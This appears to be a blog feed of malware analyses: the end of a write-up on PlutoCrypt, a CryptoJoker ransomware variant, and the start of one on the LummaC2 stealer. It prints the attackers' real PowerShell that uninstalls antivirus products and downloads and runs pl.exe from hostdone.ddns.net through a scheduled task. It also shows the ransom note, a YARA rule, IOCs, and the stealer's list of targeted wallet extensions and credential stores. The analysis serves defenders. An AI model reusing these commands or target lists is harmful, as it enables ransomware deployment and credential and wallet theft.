</code></pre></div></div>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>cd $env:APPDATA
cmd /c wmic /output:%appdata%\listpr.txt product get name
cmd /c type listpr.txt | findstr /I "name avast eset norton antivirus avira kaspersky mcafee panda malwarebytes f-Secure symantec " &gt; aapr.txt
(Get-Content aapr.txt).Trim() -ne '' | Set-Content listd.txt
$xa = (Get-Content listd.txt)[1]
$xb = (Get-Content listd.txt)[2]
$xc = (Get-Content listd.txt)[3]
$xd = (Get-Content listd.txt)[4]
$appla = Get-WmiObject -Class Win32_Product -Filter "Name = '$xa'"
$appla.Uninstall()
$applb = Get-WmiObject -Class Win32_Product -Filter "Name = '$xb'"
$applb.Uninstall()
$applc = Get-WmiObject -Class Win32_Product -Filter "Name = '$xc'"
$applc.Uninstall()
$appld = Get-WmiObject -Class Win32_Product -Filter "Name = '$xd'"
$appld.Uninstall()
</code></pre></div></div>

<p>The second script will have several activitires:</p>
<ol>
  <li>Save all installed products names to a <code class="language-plaintext highlighter-rouge">listpr.txt</code> using the command <code class="language-plaintext highlighter-rouge">wmic</code>.</li>
  <li>By using the <code class="language-plaintext highlighter-rouge">findstr</code>, the script will look for products with AV’s names and it will save the results to <code class="language-plaintext highlighter-rouge">aapr.txt</code>.</li>
  <li>The script will rewrite the content of <code class="language-plaintext highlighter-rouge">aapr.txt</code> to <code class="language-plaintext highlighter-rouge">listd.txt</code> after a <code class="language-plaintext highlighter-rouge">trim</code></li>
  <li>The script will take only 4 product names (index 1-4)</li>
  <li>The script will uninstall the applications based on the product names.</li>
</ol>

<p>The purpose of the script is to remove AV related products to ensure that nothing will flag the rest of the execution flow.<br /></p>
<h3 id="final-payload-fetching">Final Payload Fetching</h3>
<p>let’s analyze the last script:</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">ENCODED_POWERSHELL5</span> <span class="o">=</span> <span class="s">'YwBkACAAJABlAG4AdgA6AGEAcABwAGQAYQB0AGEACgBTAGUAdAAtAEMAbwBuAHQAZQBuAHQAIAAkAGUAbgB2ADoAYQBwAHAAZABhAHQAYQAvAGgAbwBsAG8ALgB0AHgAdAAgACcAYgBlAG4AaQAgAGIAdQByAGEAZABhACAAYgAxAXIAYQBrACcACgBJAG4AdgBvAGsAZQAtAFcAZQBiAFIAZQBxAHUAZQBzAHQAIAAtAFUAcgBpACAAJwBoAHQAdABwADoALwAvAGgAbwBzAHQAZABvAG4AZQAuAGQAZABuAHMALgBuAGUAdAAvAHAAbAAuAGUAeABlACcAIAAtAE8AdQB0AEYAaQBsAGUAIABwAGwALgBlAHgAZQAKAEkAbgB2AG8AawBlAC0AVwBlAGIAUgBlAHEAdQBlAHMAdAAgAC0AVQByAGkAIAAnAGgAdAB0AHAAOgAvAC8AaABvAHMAdABkAG8AbgBlAC4AZABkAG4AcwAuAG4AZQB0AC8AZQAnACAALQBPAHUAdABGAGkAbABlACAAZQBuAGMALgB4AG0AbAAKAGMAZAAgACQAZQBuAHYAOgBhAHAAcABkAGEAdABhAAoAUwBDAEgAVABBAFMASwBTACAALwBDAHIAZQBhAHQAZQAgAC8AVABOACAAIgBlAG4AYwAiACAALwBYAE0ATAAgACIAZQBuAGMALgB4AG0AbAAiAAoAYwBtAGQAIAAvAGMAIABzAGMAaAB0AGEAcwBrAHMAIAAgAC8AUgBVAE4AIAAvAFQATgAgACIAZQBuAGMAIgA='</span>

<span class="k">print</span><span class="p">(</span><span class="n">base64</span><span class="p">.</span><span class="n">b64decode</span><span class="p">(</span><span class="n">ENCODED_POWERSHELL5</span><span class="p">).</span><span class="n">replace</span><span class="p">(</span><span class="sa">b</span><span class="s">'</span><span class="se">\x00</span><span class="s">'</span><span class="p">,</span><span class="sa">b</span><span class="s">''</span><span class="p">).</span><span class="n">decode</span><span class="p">())</span>
</code></pre></div></div>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>cd $env:appdata
Set-Content $env:appdata/holo.txt 'beni burada b1rak'
Invoke-WebRequest -Uri 'http://hostdone.ddns.net/pl.exe' -OutFile pl.exe
Invoke-WebRequest -Uri 'http://hostdone.ddns.net/e' -OutFile enc.xml
cd $env:appdata
SCHTASKS /Create /TN "enc" /XML "enc.xml"
cmd /c schtasks  /RUN /TN "enc"
</code></pre></div></div>

<p>This final script has several things it does:</p>
<ol>
  <li>Creates a junk file <code class="language-plaintext highlighter-rouge">holo.txt</code> with the text <code class="language-plaintext highlighter-rouge">beni burada b1 rak</code> (translated to: <strong>leave me here</strong> [Mr. Robot Reference?])</li>
  <li>Downloads 2 files from the remote server: <code class="language-plaintext highlighter-rouge">pl.exe</code> and <code class="language-plaintext highlighter-rouge">enc.xml</code></li>
  <li>Creates a task with the name of <code class="language-plaintext highlighter-rouge">enc</code> alongside with the content of <code class="language-plaintext highlighter-rouge">enc.xml</code> and then executes it.</li>
</ol>

<h2 id="encxml">enc.xml</h2>
<p>Once again, let’s check the content of the downloaded xml file:</p>
<div class="language-xml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">&lt;?xml version="1.0" encoding="UTF-16"?&gt;</span>
<span class="nt">&lt;Task</span> <span class="na">version=</span><span class="s">"1.2"</span> <span class="na">xmlns=</span><span class="s">"http://schemas.microsoft.com/windows/2004/02/mit/task"</span><span class="nt">&gt;</span>
  <span class="nt">&lt;RegistrationInfo&gt;</span>
    <span class="nt">&lt;Date&gt;</span>2021-05-20T06:39:04<span class="nt">&lt;/Date&gt;</span>
    <span class="nt">&lt;Author&gt;&lt;/Author&gt;</span>
    <span class="nt">&lt;URI&gt;</span>\enc<span class="nt">&lt;/URI&gt;</span>
  <span class="nt">&lt;/RegistrationInfo&gt;</span>
  <span class="nt">&lt;Triggers</span> <span class="nt">/&gt;</span>
  <span class="nt">&lt;Principals&gt;</span>
    <span class="nt">&lt;Principal</span> <span class="na">id=</span><span class="s">"Author"</span><span class="nt">&gt;</span>
      <span class="nt">&lt;LogonType&gt;</span>InteractiveToken<span class="nt">&lt;/LogonType&gt;</span>
      <span class="nt">&lt;RunLevel&gt;</span>HighestAvailable<span class="nt">&lt;/RunLevel&gt;</span>
    <span class="nt">&lt;/Principal&gt;</span>
  <span class="nt">&lt;/Principals&gt;</span>
  <span class="nt">&lt;Settings&gt;</span>
    <span class="nt">&lt;MultipleInstancesPolicy&gt;</span>IgnoreNew<span class="nt">&lt;/MultipleInstancesPolicy&gt;</span>
    <span class="nt">&lt;DisallowStartIfOnBatteries&gt;</span>true<span class="nt">&lt;/DisallowStartIfOnBatteries&gt;</span>
    <span class="nt">&lt;StopIfGoingOnBatteries&gt;</span>true<span class="nt">&lt;/StopIfGoingOnBatteries&gt;</span>
    <span class="nt">&lt;AllowHardTerminate&gt;</span>true<span class="nt">&lt;/AllowHardTerminate&gt;</span>
    <span class="nt">&lt;StartWhenAvailable&gt;</span>false<span class="nt">&lt;/StartWhenAvailable&gt;</span>
    <span class="nt">&lt;RunOnlyIfNetworkAvailable&gt;</span>false<span class="nt">&lt;/RunOnlyIfNetworkAvailable&gt;</span>
    <span class="nt">&lt;IdleSettings&gt;</span>
      <span class="nt">&lt;StopOnIdleEnd&gt;</span>true<span class="nt">&lt;/StopOnIdleEnd&gt;</span>
      <span class="nt">&lt;RestartOnIdle&gt;</span>false<span class="nt">&lt;/RestartOnIdle&gt;</span>
    <span class="nt">&lt;/IdleSettings&gt;</span>
    <span class="nt">&lt;AllowStartOnDemand&gt;</span>true<span class="nt">&lt;/AllowStartOnDemand&gt;</span>
    <span class="nt">&lt;Enabled&gt;</span>true<span class="nt">&lt;/Enabled&gt;</span>
    <span class="nt">&lt;Hidden&gt;</span>false<span class="nt">&lt;/Hidden&gt;</span>
    <span class="nt">&lt;RunOnlyIfIdle&gt;</span>false<span class="nt">&lt;/RunOnlyIfIdle&gt;</span>
    <span class="nt">&lt;WakeToRun&gt;</span>false<span class="nt">&lt;/WakeToRun&gt;</span>
    <span class="nt">&lt;ExecutionTimeLimit&gt;</span>PT72H<span class="nt">&lt;/ExecutionTimeLimit&gt;</span>
    <span class="nt">&lt;Priority&gt;</span>7<span class="nt">&lt;/Priority&gt;</span>
  <span class="nt">&lt;/Settings&gt;</span>
  <span class="nt">&lt;Actions</span> <span class="na">Context=</span><span class="s">"Author"</span><span class="nt">&gt;</span>
    <span class="nt">&lt;Exec&gt;</span>
      <span class="nt">&lt;Command&gt;</span>%appdata%\pl.exe<span class="nt">&lt;/Command&gt;</span>
    <span class="nt">&lt;/Exec&gt;</span>
  <span class="nt">&lt;/Actions&gt;</span>
<span class="nt">&lt;/Task&gt;</span>
</code></pre></div></div>

<p>The task has a single command that it will execute and it’s to simply run the freshly retrieved payload <code class="language-plaintext highlighter-rouge">pl.exe</code> which will be the actual ransomware payload.</p>

<h1 id="plutocrypt-analysis">PlutoCrypt Analysis</h1>
<h2 id="static-information">Static Information</h2>
<p>PlutoCrypt is 32Bit .NET ransomware, as we can see by DiE analyze:</p>

<p><img src="/assets/images/PlutoCrypt-CryptoJoker-Varient/10.png" alt="image.png" /></p>

<p>Opening the binary in DnSpy, an incriminating evidence pops up exposing that our ransomware is based on the CryptoJoker ransomware (which is actually an open source malware that can be found <a href="https://github.com/jaenudin86/CryptoJoker">here</a>):</p>

<p><img src="/assets/images/PlutoCrypt-CryptoJoker-Varient/11.png" alt="image.png" /></p>

<h2 id="code-comparison">Code Comparison</h2>
<p>First, we will have a look at the main fuction:</p>

<p><img src="/assets/images/PlutoCrypt-CryptoJoker-Varient/12.png" alt="image.png" /></p>

<p>Well it’s very much identical, you can see also that our PlutoCrypt ransomware has a method called <code class="language-plaintext highlighter-rouge">JokerIsNotRunning</code> which is also presented in the same place at the original code.<br />
PlutoCrypt expands the infection method that was initally written in CryptoJoker as can be seen here:</p>

<p><img src="/assets/images/PlutoCrypt-CryptoJoker-Varient/13.png" alt="image.png" /></p>

<p>CryptoJoker was supposed to only encrypt the <code class="language-plaintext highlighter-rouge">%USERPROFILE%</code> related path but PlutoCrypt expands the infection to some additional possible drivers that might be installed on the victim’s computer.</p>

<h2 id="ransom-note">Ransom Note</h2>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>	Bu Bilgisayarın Güvenliği Ihlal Edilmiştir !!

PlutoCrypt bu bilgisayardaki tüm verileri askeri düzeyde RSA-4096 ile şifrelenmiştir.
Verilerinizi geri kurtarabilmek için bize 72 saat içinde 10.000 TL ödemenizi rica etmekteyiz.
Eğer ilk 24 saat içerisinde ödeme yapılırsa %40 indirimle 6.000 TL talep etmekteyiz.

Yaptığımız işi ciddiye alıyoruz verilerin hassas veya önemli olabileceğini biliyoruz.
Ödemenizi 72 saat içinde yapmadığınız taktirde; verilerinizi kurtarabileceğiniz anahtar kalıcı olarak silinecektir aynı zamanda bilgisayardaki tüm veriler internette herkeze açık paylaşılacaktır.

Ödeme yapılmazsa paylaşılacak verileriniz; 
1) Bilgisayarda şifrelenen tüm dosyalarınız (fotoğraf, belgeleriniz vs.) 
2) Tarayıcınızdan girdiğiniz "Whatsapp Web", "outlook", "gmail" ve bilgisayarınızda yüklü uygulamalara ait tüm mailleşme/mesajlaşmalarınızın birer kopyası da offline olarak paylaşılacaktır.

Bitcoin ile ödeme yapmanız ve şifre çözücü anahtarı almanız kredi/banka kartı sahibiyseniz 1 saat sürmektedir.
Işlemleriniz için sifre@pluton.pw mail adresine vakit kaybetmeden ulaşınız. 
(NOT: Eğer 2 saat içerisinde geri dönüş alamadıysanız spam kutusuna bakınız.) 
Kişisel id'niz: [HWID goes here]
</code></pre></div></div>
<p><strong>Translation:</strong></p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>This Computer Has Been Breached !!

PlutoCrypt all data on this computer is encrypted with military grade RSA-4096.
In order to recover your data, we ask you to pay us 10,000 TL within 72 hours.
If payment is made within the first 24 hours, we request 6,000 TL with a 40% discount.

We take what we do seriously and we know that data can be sensitive or important.
If you do not make your payment within 72 hours; The key with which you can recover your data will be permanently deleted, and at the same time, all data on the computer will be shared publicly on the internet.

Your data to be shared if payment is not made;
1) All your encrypted files (photos, documents, etc.)
2) A copy of each of your "Whatsapp Web", "outlook", "gmail" and applications installed on your computer will be shared offline.

If you are a credit/debit card holder, it takes 1 hour to pay with Bitcoin and receive the decryption key.
For your transactions, please contact sifre@pluton.pw without delay.
(NOTE: If you haven't received a response within 2 hours, check your spam box.)
Your personal id: [HWID goes here]
</code></pre></div></div>

<p><img src="/assets/images/PlutoCrypt-CryptoJoker-Varient/14.png" alt="image.png" /></p>

<h2 id="new-victim-notification">New Victim Notification</h2>
<p>Once a machine was infected and the ransomnote was crafted and displayed the the victim, a <code class="language-plaintext highlighter-rouge">POST</code> request will occur to the TA server (199.192.20[.]58:3001) with the unique <code class="language-plaintext highlighter-rouge">UID</code> of the machine and a base64 encoded string that contains the RSA Keys:</p>

<p><img src="/assets/images/PlutoCrypt-CryptoJoker-Varient/15.png" alt="image.png" /></p>

<p>This part was modified by the authors of PlutoCrypt because in the original code of CryptoJoker the alert for new victim sends and email rather then a <code class="language-plaintext highlighter-rouge">POST</code> request:</p>

<p><img src="/assets/images/PlutoCrypt-CryptoJoker-Varient/16.png" alt="image.png" /></p>

<h1 id="yara-rule">Yara Rule</h1>
<div class="language-vb highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">rule</span> <span class="n">Win_CryptoJoker_Variants</span> <span class="p">{</span>
    <span class="n">meta</span><span class="p">:</span>
        <span class="n">author</span> <span class="o">=</span> <span class="s">"0xToxin"</span>
        <span class="n">description</span> <span class="o">=</span> <span class="s">"PlutoCrypt/CryptoJoker Strings"</span>
    <span class="n">strings</span><span class="p">:</span>
		<span class="err">$</span><span class="n">n1</span> <span class="o">=</span> <span class="s">"CryptoJoker"</span> <span class="n">ascii</span>
		<span class="err">$</span><span class="n">n2</span> <span class="o">=</span> <span class="s">"PlutoCrypt"</span> <span class="n">nocase</span>
		<span class="err">$</span><span class="n">s1</span> <span class="o">=</span> <span class="s">"CryptJokerWalker90912"</span> <span class="n">ascii</span> <span class="n">wide</span>
		<span class="err">$</span><span class="n">s2</span> <span class="o">=</span> <span class="s">"SendEmail"</span> <span class="n">ascii</span>
		<span class="err">$</span><span class="n">s3</span> <span class="o">=</span> <span class="s">".partially."</span> <span class="n">ascii</span> <span class="n">wide</span>
		<span class="err">$</span><span class="n">s4</span> <span class="o">=</span> <span class="s">".fully."</span> <span class="n">ascii</span> <span class="n">wide</span>
		<span class="err">$</span><span class="n">s5</span> <span class="o">=</span> <span class="s">"Do not delete this file, else the decryption process will be broken"</span> <span class="n">ascii</span> <span class="n">wide</span>
		<span class="err">$</span><span class="n">s6</span> <span class="o">=</span> <span class="s">"And the decryption key is:"</span> <span class="n">ascii</span> <span class="n">wide</span>
		<span class="err">$</span><span class="n">s7</span> <span class="o">=</span> <span class="s">"The HWID is:"</span> <span class="n">ascii</span> <span class="n">wide</span>
    <span class="n">condition</span><span class="p">:</span>
        <span class="n">uint16</span><span class="p">(</span><span class="mi">0</span><span class="p">)</span> <span class="o">==</span> <span class="mi">0</span><span class="n">x5a4d</span> <span class="n">and</span> <span class="mi">1</span> <span class="n">of</span> <span class="p">(</span><span class="err">$</span><span class="n">n</span><span class="o">*</span><span class="p">)</span> <span class="n">and</span> <span class="n">all</span> <span class="n">of</span> <span class="p">(</span><span class="err">$</span><span class="n">s</span><span class="o">*</span><span class="p">)</span>
<span class="p">}</span>
</code></pre></div></div>

<h1 id="vt-graph">VT Graph</h1>
<iframe src="https://www.virustotal.com/graph/embed/g76c7f000e1be4e84a89863653dbceac10da6b77922d14da8b1c8b27035d0f49f?theme=dark" width="700" height="400">
</iframe>

<h1 id="summary">Summary</h1>
<p>In this blog post we went over a recent phishing campaign that was targeting the Turkish audience with a variant of the CryptoJoker ransomware. Through the blog we learned about the execution flow that the TA used, by abusing task scheduling and some other execution/evading techniques such as duplicating System32 folder &amp; DLL sideloading. <br />
Hopefully you enjoyed reading through and learned a few new things!</p>

<h1 id="iocs">IOCs</h1>
<ul>
  <li>Urls:
    <ul>
      <li>http://hostdone.ddns[.]net/x1.xml</li>
      <li>http://hostdone.ddns[.]net/task.xml</li>
      <li>http://hostdone.ddns[.]net/t.pd</li>
      <li>http://hostdone.ddns[.]net/u.dl</li>
      <li>http://hostdone.ddns[.]net/pl.exe</li>
      <li>http://hostdone.ddns[.]net/e</li>
    </ul>
  </li>
  <li>Files:
    <ul>
      <li>vakifbank iot-10-04-2023logs.rar - <a href="https://bazaar.abuse.ch/sample/9026c67b52f9ddece9a7e203978e8aa9ffa5a128cf83a238c924dce141899aec/">9026c67b52f9ddece9a7e203978e8aa9ffa5a128cf83a238c924dce141899aec</a></li>
      <li>vakifbank iot-10-04-2023logs.hta - <a href="https://bazaar.abuse.ch/sample/b05328077aa1dd5dba4d8e25cb028dc4f533bd1dd69bc6d12ec2f8298598f803/">b05328077aa1dd5dba4d8e25cb028dc4f533bd1dd69bc6d12ec2f8298598f803</a></li>
      <li>task.xml - <a href="https://bazaar.abuse.ch/sample/6cbed31fdf5554ead21de9ccdd12ccc6d9f0b4eaf5f874ce96103ab01f522073/">6cbed31fdf5554ead21de9ccdd12ccc6d9f0b4eaf5f874ce96103ab01f522073</a></li>
      <li>uxtheme.dll - <a href="https://bazaar.abuse.ch/sample/8279282e07e2fa82cad4f0cb0b450e77dab930a7db7c9488f663002753d79dde/">8279282e07e2fa82cad4f0cb0b450e77dab930a7db7c9488f663002753d79dde</a></li>
      <li>x.xml - <a href="https://bazaar.abuse.ch/sample/df38a5d9d7d6c9cfea65eb562317f71bea94a0fc731e1fe9121f9479e56f61fd/">df38a5d9d7d6c9cfea65eb562317f71bea94a0fc731e1fe9121f9479e56f61fd</a></li>
      <li>enc.xml - <a href="https://bazaar.abuse.ch/sample/20cf29f926a18b44f580137ddb65d81bc0ed419412910a7682ee7b95b186ac82/">20cf29f926a18b44f580137ddb65d81bc0ed419412910a7682ee7b95b186ac82</a></li>
      <li>pl.exe - <a href="https://bazaar.abuse.ch/sample/e8527f309846d18fbf85289283dcde7b19063a50b11263ba0d36663df8fcfd30/">e8527f309846d18fbf85289283dcde7b19063a50b11263ba0d36663df8fcfd30</a></li>
    </ul>
  </li>
  <li>Domains:
    <ul>
      <li>hostdone.ddns[.]net</li>
      <li>deni[.]tk</li>
    </ul>
  </li>
  <li>IPs:
    <ul>
      <li>199.192.20[.]58</li>
    </ul>
  </li>
</ul>

<h1 id="references">References</h1>
<ul>
  <li><a href="https://github.com/jaenudin86/CryptoJoker">CryptoJoker Git Repo</a></li>
  <li><a href="https://twitter.com/search?q=cryptojoker%20ransomware&amp;src=recent_search_click">CryptoJoker Twitter Results</a></li>
  <li><a href="https://www.shodan.io/host/199.192.20.58">Shodan Query</a></li>
  <li><a href="https://www.pcrisk.com/removal-guides/19426-nocrycrypt0r-ransomware">NocryCrypt0r relation based on BTC wallet</a></li>
</ul>]]></content><author><name>0x1john</name></author><category term="Threat Breakdown" /><category term="PlutoCrypt" /><category term="CryptoJoker" /><category term=".NET" /><category term="PowerShell" /><category term="Yara" /><category term="Threat Hunting" /><summary type="html"><![CDATA[Pivoting through the execution chain of a CryptoJoker Ransomware copycat]]></summary></entry><entry><title type="html">LummaC2 - Stealer Features BreakDown</title><link href="https://0x1john.github.io/malware%20analysis/Lumma-Breakdown/" rel="alternate" type="text/html" title="LummaC2 - Stealer Features BreakDown" /><published>2023-04-09T00:00:00+00:00</published><updated>2023-04-09T00:00:00+00:00</updated><id>https://0x1john.github.io/malware%20analysis/Lumma-Breakdown</id><content type="html" xml:base="https://0x1john.github.io/malware%20analysis/Lumma-Breakdown/"><![CDATA[<h1 id="intro">Intro</h1>
<p>This blog will be a bit different from my ususal blogs, it will mainly contain scripts and some research I’ve spent on finding some of the things you’ll read through the blog. I’ve tried to cover things that weren’t covered in previous blogs that can be found on <a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma">Lumma Stealer Malpedia entry</a></p>

<h1 id="the-phish">The Phish</h1>
<p>The phishing email pretends to be from Walmart and targets sellers on the Walmart Marketplace.</p>

<p><img src="/assets/images/Lumma-Breakdown/1.png" alt="image-2.png" /></p>

<p>The email claims that the recipient needs to confirm their contact and related information in order to continue selling on the platform.<br />
The email instructs the recipient to download a file called <strong>“Walmart Brand Portal.rar”</strong> to update their information and suggests disabling antivirus protection if the download doesn’t work.
<br />
Clearly it’s not a mail sent from Walmart and the archive will contain a malicious executable in it.</p>

<h1 id="dynamic-triage-procedure">Dynamic Triage Procedure</h1>
<p>In many cases when I’m analyzing malwares I want to reach to the final payload rather than dealing with the inital loader binary. <br />
Every analyst has it’s own tricks of how would he find and dump the actual piece of malware that he wants to analyze; And I will share what is my favourite tool when I want to get my hands quickly on the final payload.<br /><br /></p>

<h2 id="pe-sieve">PE-Sieve</h2>
<p><a href="https://github.com/hasherezade/pe-sieve">PE-Sieve</a> is a great tool created by <a href="https://twitter.com/hasherezade">hasherezade</a> which:<br /> 
<strong><em>“Scans a given process. Recognizes and dumps a variety of potentially malicious implants (replaced/injected PEs, shellcodes, hooks, in-memory patches).”</em></strong> <br /><br /></p>

<h2 id="dump-lumma-binary">Dump Lumma Binary</h2>
<p>So in order to dump the Lumma binary I will execute the executable which is stored inside of the archive delivered by the phishing email, I will monitor the executable activity in <a href="https://processhacker.sourceforge.io/">Process hacker</a> and wait for some internal process to be created as part of the injection process. (in this case the injected process will be <strong>AddInProcess32.exe</strong>)<br /><br />
<strong>Step 1 - Execute the payload:</strong></p>

<p><img src="/assets/images/Lumma-Breakdown/2.png" alt="image.png" /></p>

<p><strong>Step 2 - Use PE-Sieve on the Injected Process:</strong></p>

<p><img src="/assets/images/Lumma-Breakdown/3.png" alt="image-2.png" /></p>

<h1 id="into-the-lumma">Into The Lumma</h1>
<p>Now that we have the dumped payload, I will be going through some of the functionalities and capabilities that the Lumma Stealer has.</p>

<h2 id="control-flow-flattening">Control Flow Flattening</h2>
<p>Lumma’s developer added some CFF to the stealer code in order to make some hard time on reversers to find their way through the right execution flow of the malware. <br />
There are a lot of blogs talks about this obfuscation technique and how threat actors and malware developers leverages this technique to slow down malware reversers (you can find several by the end of the blog under the <strong>References</strong> section)</p>

<p><img src="/assets/images/Lumma-Breakdown/4.png" alt="image-2.png" /></p>

<p>I’ve used SophosLabs <a href="https://github.com/sophoslabs/emotet_unflatten_poc">emotet_unflatten_poc</a> plugin in order to try and clean the decompiler code abit , it helped by classifying each section as a Label and now it’s abit more accessible and not requiring to scroll over the function alot:</p>

<p><img src="/assets/images/Lumma-Breakdown/5.png" alt="image-3.png" /></p>

<h3 id="strings-obfuscation">Strings Obfuscation</h3>
<p>I took a brief look at the strings presented in the extracted payload and witnessed that alot of them are obfuscated:</p>

<p><img src="/assets/images/Lumma-Breakdown/6.png" alt="image.png" /></p>

<p>After doing a small research, I found out the Lumma obfuscates the strings by inserting the string <code class="language-plaintext highlighter-rouge">576xed</code> inside of them.<br />
Those strings are being deobfuscated by dedicated function which requires the obfuscated string as an input and afterward it returns the clean string.</p>

<p><img src="/assets/images/Lumma-Breakdown/7.png" alt="image-4.png" /></p>

<p>I’ve created python script that will get all the xrefs for the strings deobfuscating function, extract the argument being passed to the function and then will deobfuscate it and write the strings to a file:</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">import</span> <span class="nn">idc</span>
<span class="kn">import</span> <span class="nn">idautils</span>

<span class="n">DECRYPTION_FUNCTION</span> <span class="o">=</span> <span class="mh">0x45DF86</span> <span class="c1"># Change to the relevant function call
</span><span class="n">STRINGS_FILE_PATH</span> <span class="o">=</span> <span class="s">''</span> <span class="c1"># Output file for the strings
</span><span class="n">OBFUSCATOR_STRING</span> <span class="o">=</span> <span class="s">'576xed'</span> <span class="c1"># Might be changed in future builds
</span>
<span class="k">def</span> <span class="nf">getArg</span><span class="p">(</span><span class="n">ref_addr</span><span class="p">):</span>
    <span class="n">ref_addr</span> <span class="o">=</span> <span class="n">idc</span><span class="p">.</span><span class="n">prev_head</span><span class="p">(</span><span class="n">ref_addr</span><span class="p">)</span>
    <span class="k">if</span> <span class="n">idc</span><span class="p">.</span><span class="n">print_insn_mnem</span><span class="p">(</span><span class="n">ref_addr</span><span class="p">)</span> <span class="o">==</span> <span class="s">'push'</span><span class="p">:</span>
        <span class="k">if</span> <span class="n">idc</span><span class="p">.</span><span class="n">get_operand_type</span><span class="p">(</span><span class="n">ref_addr</span><span class="p">,</span> <span class="mi">0</span><span class="p">)</span> <span class="o">==</span> <span class="n">idc</span><span class="p">.</span><span class="n">o_imm</span><span class="p">:</span>
            <span class="k">return</span><span class="p">(</span><span class="n">idc</span><span class="p">.</span><span class="n">get_operand_value</span><span class="p">(</span><span class="n">ref_addr</span><span class="p">,</span> <span class="mi">0</span><span class="p">))</span>
        <span class="k">else</span><span class="p">:</span>
            <span class="k">return</span> <span class="bp">None</span>

<span class="n">stringsList</span> <span class="o">=</span> <span class="p">[]</span>

<span class="k">for</span> <span class="n">xref</span> <span class="ow">in</span> <span class="n">idautils</span><span class="p">.</span><span class="n">XrefsTo</span><span class="p">(</span><span class="n">DECRYPTION_FUNCTION</span><span class="p">):</span>
    <span class="n">argPtr</span> <span class="o">=</span> <span class="n">getArg</span><span class="p">(</span><span class="n">xref</span><span class="p">.</span><span class="n">frm</span><span class="p">)</span>
    <span class="k">if</span> <span class="ow">not</span> <span class="n">argPtr</span><span class="p">:</span>
        <span class="k">continue</span>
    <span class="n">data</span> <span class="o">=</span> <span class="n">idc</span><span class="p">.</span><span class="n">get_bytes</span><span class="p">(</span><span class="n">argPtr</span><span class="p">,</span> <span class="mi">100</span><span class="p">)</span>
    <span class="n">obfuscatedData</span> <span class="o">=</span> <span class="n">data</span><span class="p">.</span><span class="n">split</span><span class="p">(</span><span class="sa">b</span><span class="s">'</span><span class="se">\x00\x00</span><span class="s">'</span><span class="p">)[</span><span class="mi">0</span><span class="p">].</span><span class="n">replace</span><span class="p">(</span><span class="sa">b</span><span class="s">'</span><span class="se">\x00</span><span class="s">'</span><span class="p">,</span><span class="sa">b</span><span class="s">''</span><span class="p">).</span><span class="n">decode</span><span class="p">()</span>
    <span class="n">stringsList</span><span class="p">.</span><span class="n">append</span><span class="p">(</span><span class="n">obfuscatedData</span><span class="p">.</span><span class="n">replace</span><span class="p">(</span><span class="n">OBFUSCATOR_STRING</span><span class="p">,</span><span class="s">""</span><span class="p">))</span>

<span class="k">print</span><span class="p">(</span><span class="sa">f</span><span class="s">'[+] </span><span class="si">{</span><span class="nb">len</span><span class="p">(</span><span class="n">stringsList</span><span class="p">)</span><span class="si">}</span><span class="s"> Strings were extracted'</span><span class="p">)</span>

<span class="n">out</span> <span class="o">=</span> <span class="nb">open</span><span class="p">(</span><span class="n">STRINGS_FILE_PATH</span><span class="p">,</span> <span class="s">'w'</span><span class="p">)</span>
<span class="k">for</span> <span class="n">string</span> <span class="ow">in</span> <span class="n">stringsList</span><span class="p">:</span>
    <span class="n">out</span><span class="p">.</span><span class="n">write</span><span class="p">(</span><span class="sa">f</span><span class="s">'</span><span class="si">{</span><span class="n">string</span><span class="si">}</span><span class="se">\n</span><span class="s">'</span><span class="p">)</span>
<span class="n">out</span><span class="p">.</span><span class="n">close</span><span class="p">()</span>
</code></pre></div></div>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>[+] 135 Strings were extracted

################
# OUTPUT FILE: #
################

\Local Extension Settings\
/Extensions/
*
nkddgncdjgjfcddamfgcmfnlhccnimig
NeoLine
cphhlgmgameodnhkjdmkpanlelnlohao
Clover
nhnkbkgjikgcigadomkphalanndcapjk
Liquality
kpfopkelmapcoipemfendmdcghnegimn
Terra Station
fhmfendgdocmcbmfikdcogofphimnkno
Auro
cnmamaachppnkjgnildpdmkaakejnhae
aeachknmefphepccionboohckonoeemg
Authenticator
bhghoamapcdpbohphigoooaddinpkbai
Cyano
dkdedlpgdmmkkfjabffeganieamfklkm
Byone
Login Data For Account
OneKey
Nifty
jbdaocneiiinmjbjlgalhcelgbejmnid
Math
iWlt
kncchdigobghenbbaddojjnnaogfppfj
EnKrypt
kkpllkodjeloidieedojogacfhpaihoh
Wombat
amkmjjmmflddogmhpjloimipbofnfjih
MEW CX
nlbmnnijcnlegkjjpcfjclmcfggfefdm
Guild
nanjmdknhkinifnkgdcggcfnhdaammmj
Coin98
infeboajgfhgbjpjbeppbkgnabfdkdaf
Leaf
cihmoadaighcejopammfbmddcmdekcje
Authy
ejbalbakoplchlghecdalmeeeajnimhm
nkbihfbeogaeaoehlefnkodbefgpgknn
TronLink
ibnejdfjmmkpcnlpebklmnkoeoihofec
Ronin Wallet
fnjhmkhhmkbjkkabndcnnogagogbneec
Binance Chain Wallet
fhbohimaelbohpjbbldcngcnapndodjp
Yoroi
afbcbjpbpfadlkmhmclhkeeodmamcflc
gaedmjdfmmahhbjefcbgaolhhanlaolb
Saturn
bcopgchhojmggmffilplmbdicgaihlkp
ZilPay
klnaejjgbibmhlephnhpmaofohgkpgkd
Phantom
bfnaelmomeimhlpmgjnjophhpkkoljpa
hcflpincpppdclinealmandijcmnkbgn
Temple
ookjlbkiijinhpmnjffcofjonbfbgaoc
TezBox
mnfifefkajgofkcjkemidiaecocnkjeh
DAppPlay
lodccjjbdhfakaekdiahmedfbieldgik
BitClip
ijmpgkjfkbfhoebgogflfebnmejmfbml
Steem Keychain
History
Jaxx Liberty
cjelfplplebdjjenllpjcblmjkfcffne
BitApp
fihkakfobkmkjojpchpfgcmhfjnmnfpi
Network\Cookies
History
Polymesh
jojhfeoedkpkglbfimdfabpdfjaoolaf
ICONex
